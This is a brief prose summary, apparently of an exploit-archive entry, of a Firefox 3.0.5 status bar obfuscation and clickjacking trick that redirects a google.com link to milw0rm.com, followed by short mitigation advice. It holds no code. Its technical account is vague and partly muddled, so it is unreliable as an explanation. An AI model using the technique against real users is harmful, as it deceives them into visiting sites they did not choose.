Firefox 3.0.5 Status Bar Obfuscation / Clickjacking

This exploit uses the Firefox 3.0.5 Status Bar Obfuscation technique to redirect users to milw0rm.com when they click on a link to google.com. The exploit uses a div element with a mouseover event to redirect the user to milw0rm.com. The div element is positioned at the exact coordinates of the mouse pointer when the user clicks on the link.

Mitigation:

Users should be aware of the potential for clickjacking attacks and should be cautious when clicking on links. Additionally, web developers should use the X-Frame-Options header to prevent clickjacking attacks.
